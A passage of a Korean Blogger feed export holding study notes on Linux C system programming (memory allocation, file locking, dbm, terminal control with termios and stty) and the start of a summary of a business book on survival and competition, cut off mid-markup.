/&gt;free =&gt; 메모리 해지하기&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;void free(void *ptr_to memory);&lt;br /&gt;&lt;br /&gt;calloc =&gt; 구조체의 배열에 해당하는 메모리를 할당하며 요소의 개수와 각 요소의 크기를 매개변수로 가짐&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;void *calloc(size_t number_of_elements, size_t element_size);&lt;br /&gt;&lt;br /&gt;realloc =&gt; 할당된 메모리 블록의 크기 변경(반환값: Null 실패, 포인터 성공)&lt;br /&gt;void *realloc(void *existing_memory, size_t new_size);&lt;br /&gt;&lt;br /&gt;Lock 파일 만들기 예: 362페이지 참조&lt;br /&gt;int file_desc;&lt;br /&gt;file_desc=open("/tmp/lock.test", O_RDWR | O_CREAT | O_EXCL, 0444);&lt;br /&gt;&lt;br /&gt;프로그램이 단순히 실행하는 짧은 기간동안 리소스를 독점해야한다면, 즉 임계 영역(critical secction)이 필요하다면, 임계 영역에 진입하기 전에 잠금 파일을 만들고 임계 영역을 빠져나와서 unlink로 지워주어야 한다&lt;br /&gt;&lt;br /&gt;10번 반복해라 예:&lt;br /&gt;int tries = 10;&lt;br /&gt;while(tries--) {&lt;br /&gt;...&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;fcntl =&gt; 파일의 특정 부분만 잠그고 다른 프로그램이 파일의 다른 부분에는 액세스할 수 있도록 하기(lockf도 같은 기능을 함) 366페이지 참조&lt;br /&gt;#include &amp;lt fcntl.h&gt;&lt;br /&gt;int fcntl(int fildes, int command, struct flock *flock_structure);&lt;br /&gt;!!파일 영역에 대한 잠금기능 사용시는 고수준 fread보다는 저수준 read를 사용하는 것이 좋다!!&lt;br /&gt;실습 예: 370페이지 참조&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;int lockf(int fildes, int function, off_t size_to_lock);&lt;br /&gt;&lt;br /&gt;dbm =&gt; 리눅스용 데이터베이스(단순 색인 파일 저장소) ndbm과 gdbm 중에 호환성은 ndbm이 좋음&lt;br /&gt;#include &amp;lt ndbm.h&gt;&lt;br /&gt;DBM *dbm_open(...);   =&gt;  데이터 베이스 열기&lt;br /&gt;int dbm_store(...);   =&gt;  데이터 베이스 저장&lt;br /&gt;datum dbm_fetch(...); =&gt;  데이터 베이스 갖어오기&lt;br /&gt;void dbm_close(...);  =&gt;  데이터 베이스 닫기&lt;br /&gt;dbm 데이터베이스 예: 387~417페이지 참조&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-1276394171681214610?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/1276394171681214610/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/8day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/1276394171681214610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/1276394171681214610'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/8day-study.html' title='8Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-6864896235461937997</id><published>2009-03-04T17:54:00.001-08:00</published><updated>2009-03-04T17:55:05.134-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>7Day Study</title><content type='html'>7Day Study&lt;br /&gt;[[[[[텍스트 기반 화면 관리(curses 사용)]]]]]&lt;br /&gt;297~384페이지 참조&lt;br /&gt;&lt;br /&gt;P.S 내용이 서버 프로그램 개발시 별로 필요가 없을 것 같아서 생략함&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-6864896235461937997?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/6864896235461937997/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/7day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/6864896235461937997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/6864896235461937997'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/7day-study.html' title='7Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5793741999631588156</id><published>2009-03-04T17:53:00.000-08:00</published><updated>2009-03-04T17:54:20.382-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>6Day Study</title><content type='html'>6Day Study&lt;br /&gt;[[[[[터미널(terminal)]]]]]&lt;br /&gt;&lt;br /&gt;getchar =&gt; 터미널의 데이터 받기&lt;br /&gt;printf  =&gt; 터미널에 데이터 출력&lt;br /&gt;&lt;br /&gt;터미널에서 읽고 쓰기 예: 257페이지 참조&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;리눅스와 유닉스는 항상 라인 피드를 텍스트의 줄 끝으로 사용함(텍스트와 바이너리 동일처리)(리눅스는 캐리지 리턴은 프린터나 플로터 출력할 때 처리함)&lt;br /&gt;윈도우는 캐리지 리턴(CR 십진수 13, 16진수 0D)과 라인 피드(LF 십진수 10, 16진수 0A)를 쌍으로 사용함&lt;br /&gt;&lt;br /&gt;isatty =&gt; 저수준 파일 설명자가 터미널과 연결되어 있는지 조사하며 표준 출력이 리디렉트되어있는지 확인(반환값: fd가 터미널에 연결되어 있으면 1, 이외는 0)&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;int isatty(int fd);&lt;br /&gt;출력 리디렉션(터미널 연결확인) 예: 260페이지 참조&lt;br /&gt;&lt;br /&gt;/dev/tty =&gt; 터미널과 대화하기&lt;br /&gt;getchoice =&gt; 출력을 좀더 제어하기 위한 매개변수 제어 예: 262페이지 참조&lt;br /&gt;&lt;br /&gt;일반 터미널 인터페이스(termios.h)가 제어 할 수 있는 일(입력/출력/제어/로컬/특수제어문자) =&gt; 266페이지 참조&lt;br /&gt;줄 편집: 편집을 위해 백스페이스를 허용할지 여부&lt;br /&gt;버퍼링: 문자를 바로 읽을 것인지 혹은 설정 가능한 지연 후 읽을 것인지 선택&lt;br /&gt;에코: 패스워드를 읽을 때와 같이 에코를 제어할 수 있다&lt;br /&gt;CR/LF: 입력과 출력에 대한 매핑(\n을 출력할 때 어떤 일이 일어나는가)을 결정&lt;br /&gt;회선 속도: PC 콘솔에서는 거의 쓰이지 않으나 모뎀과 직력 회선의 터미널에서는 매우 중요&lt;br /&gt;&lt;br /&gt;stty =&gt; 쉘에서 터미널 모드 액세스 하기(273페이지 참조)&lt;br /&gt;stty -a =&gt; termios 전체 설정 보기&lt;br /&gt;stty sane =&gt; 줄바꿈 문자에 대한 캐리지 리턴 키의 매핑을 잃어버렸다면, stty sane을 입력하고 엔터키보다 Ctrl+J(줄 바꿈 문자)를 누를 필요가 있다&lt;br /&gt;stty -icanon min 1 time 0 =&gt; 쉘 스크립트가 문자 하나를 읽을 수 있도록 모드를 설정&lt;br /&gt;stty -echo =&gt; 패스워드를 입력받기 전에 에코를 꺼서 패스워드 검사 과정을 개선&lt;br /&gt;stty echo =&gt; 에코 켜기&lt;br /&gt;&lt;br /&gt;tcdrain =&gt; 모든 대기딘 출력이 전송될 때까지 호출 프로그램을 기다림&lt;br /&gt;tcflow =&gt; 출력을 일시 중단하거나 다시 시작함&lt;br /&gt;tcflush =&gt; 입력 및 출력 혹은 둘다 플러시하기 위해서 사용&lt;br /&gt;newrsettings =&gt; 터미널 특성 설정&lt;br /&gt;&lt;br /&gt;termios.h를 통해서 Enter password: 프롬프트에서 에코되지 않고 사용자가 엔터를 누를 때까지 어떠한 출력도 발생하지 않는 예: 277페이지 참조&lt;br /&gt;&lt;br /&gt;echo $TERM =&gt; 현자 사용중인 터미널 시스템 보기&lt;br /&gt;&lt;br /&gt;/usr/lib/terminofo 또는 /usr/share/terminofo =&gt; 터미널의 특성들이 저장되는 곳&lt;br /&gt;infocmp vt100 =&gt; vt100 터미널의 형식의 항목을 읽기(VT100의 F1 기능키는 Esc+O+P를 전송한다는 표현은 kf1=\EOP, 좀 더 상세한것은 284페이지 참조)&lt;br /&gt;&lt;br /&gt;setupterm =&gt; 터미널 형식 설정하기&lt;br /&gt;#include &amp;lt term.h&gt;&lt;br /&gt;int setupterm(char *term, int fd, int *errret);&lt;br /&gt;현재 터미널 사이즈 받아오는 예: 286페이지 참조&lt;br /&gt;&lt;br /&gt;종합 터미널 제어 예: 289페이지 참조&lt;br /&gt;&lt;br /&gt;kbhit =&gt; 키 입력 검출 함수(윈도우로 부터 프로그램을 이식할 때, kbhit를 에뮬레이트하면 편리한 경우가 있음, 비정식 입력 모드 사용하면 된다) 예: 291페이지&lt;br /&gt;&lt;br /&gt;who =&gt; 로그인한 사용자 보기&lt;br /&gt;ps =&gt; 현재 가상 콘솔에서 실행중인 쉘과 프로그램 보기(mingetty는 가상 콘솔에서 사용자의 로그인을 기다리는 데몬)&lt;br /&gt;&lt;br /&gt;Ctrl+Alt+F&amp;lt N&gt; =&gt; 가상 콘솔 사이 전환하기(예: Ctrl+Alt+F1), X윈도우 그래픽 tty는 7번&lt;br /&gt;sstartx -- :1 =&gt; X윈도우 그래픽 세션 추가(가장 마지막 tty 세션 +1에 생김)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5793741999631588156?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5793741999631588156/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/6day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5793741999631588156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5793741999631588156'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/6day-study.html' title='6Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-9132409520174611792</id><published>2009-03-04T16:33:00.000-08:00</published><updated>2009-03-04T16:34:32.747-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ETC'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>사자도 굶어 죽는다</title><content type='html'>&lt;div style="font-family: arial;" id="post-view" class="post-view pcol2"&gt;   &lt;p style="margin: 0pt 0pt 6pt; font-size: 10pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: center;" align="left"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;img src="http://blogfiles13.naver.net/data25/2008/9/22/220/6018751_mhson88_majorlim.jpg" style="cursor: pointer;" onclick="popview(this)" width="127" height="177" /&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 6pt; font-size: 10pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: center;" align="left"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;span style="color:#636363;"&gt;&lt;strong&gt;사자도 굶어죽는다ㅣ서광원ㅣ위즈덤하우스&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 6pt; font-size: 10pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: center;" align="left"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 6pt; font-size: 10pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: center;" align="left"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin: 0pt 0pt 6pt; font-size: 10pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: center;" align="left"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;기 업을 경영하는 사람들에게는 시대와 환경의 변화를 읽어내는 통찰력이 필요하다. 하루가 다르게 변하는 세상에서 그 중심과 행간을 읽어내지 않고서는 경영의 방향조차 잡을 수가 없는 것이 현실이다. 이 책은 인간과 자연의 공통된 질서와 원리를 글로벌 시대의 코드로 읽어내고, 기업 환경에 대한 심층적인 이해를 통해 전략과 승부의 급소를 제시하고 있다.            &lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;span style="font-size: 10pt;"&gt;        &lt;/span&gt;&lt;span style="font-size: 10pt;"&gt;        &lt;/span&gt;&lt;span style="font-size: 10pt;"&gt;        &lt;/span&gt;&lt;span style="font-size: 10pt;"&gt;        &lt;/span&gt;&lt;span style="font-size: 10pt;"&gt;        &lt;/span&gt;    &lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 14.4pt; letter-spacing: 0pt; text-align: justify;"&gt;-손주은 메가스터디 CEO-&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;span style="font-size: 9pt; color: rgb(0, 0, 0); line-height: 14.4pt; letter-spacing: 0pt; text-align: justify;"&gt; &lt;p style="margin: 0pt; font-size: 9pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;/span&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;□ 탁월한 생존에는 법칙이 있다 &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 사자도 굶어 죽는다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 초원의 제왕이지만 생존율은 고작 10%&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 보통 3일에 한 번 정도 사냥을 하며 성공률은 평균 30%&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 월스트리트: 헤지펀드 업계 총자산 규모 1조1천억 달러 중 약3분의 2는 상위 100개 헤지펀드(전체 헤지펀드 총수는 8,000개)에 집중&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 대부분의 헤지펀드는 1년 안에 멸망&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt;"&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 이제 세상은 정글이 아니다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 정글: 오랜 터전이었고 모든 것이 익숙하고 편안한 곳이지만 먹이가 부족&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 초원: 위험천만하고 살벌하지만 먹이가 풍부&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 좋은 기회일수록 먹음직스런 먹이일수록 많은 경쟁과 위험을 감수해야 함&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 넓어진 세상, 풍부한 먹잇감, 치열한 경쟁 그리고 이를 극복하기 위한 경쟁력 배양과 세력 규합 =&gt;초원의 풍경이 세계화의 물결이 우리에게 던지고 있는 키워드와 정확하게 일치함&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 앞으로 우리가 생존해야 할 세계는 빽빽한 나무들로 가득 찬, 그래서 앞을 볼 수 없는  정글이 아니라 앞이 확 트인, 그래서 세상이 어떻게 변하는지 다 볼 수 있지만, 바로 그렇기 때문에 언제 어디서 무엇이 우리에게 닥쳐올지 알 수 없는 초원&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 초원 3.0 시대가 오고 있다&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 세계화 이전의 세계: 숲 =&gt;국내시장에만 안주해도 생존이 가능&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 세계화 이후의 세계: 대초원 =&gt;전 세계 모든 기업이 경쟁상대&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 세계화 3.0 시대 =&gt; “큰 것이 작은 것을 잡아먹는 게 아니라 빠른 것이 느린 것을 잡아먹는다.”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 세계화 3.0 시대에서의 생존 조건: “작업 과정, 기술을 가장 신속하게 익힌 사람들”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;=&gt; “문제는 어떻게 기회를 만들어내고, 그 기회를 이용해 번영해나가느냐 하는 것이다.”&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 11pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;■ 자연이 터득한 생존의 5가지 절대법칙&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 관찰:&lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt; 잘 관찰하면서 패턴을 추출한다.&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 목표설정:&lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt; 목표를 명확하고 구체적으로 설정한다.&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 목표물 접근:&lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt; 사냥감이 눈치 채지 않게끔 최대한 가까이 접근한다.&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 사냥:&lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt; 전광석화처럼 사냥한다.&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt 0pt 0pt 5pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt;- 마무리 &amp;amp; 새로운 시작:&lt;/span&gt;&lt;span style="font-size: 10pt; color: rgb(0, 0, 0); line-height: 17.6pt; letter-spacing: 0pt; text-align: justify;"&gt; 마무리 및 다음 사냥을 준비한다.&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 13pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 13pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; font-size: 10pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;□ 생존의 법칙 1: 관찰 &lt;/span&gt;&lt;span style="font-weight: bold; font-size: 13pt; color: rgb(0, 0, 0); line-height: 20.8pt; letter-spacing: 0pt; text-align: justify;"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0pt; font-size: 11pt; color: rgb(0, 0, 0); text-indent: 0pt; line-height: 160%; text-align: justify;"&gt;&lt;span style="font-weight: bold; 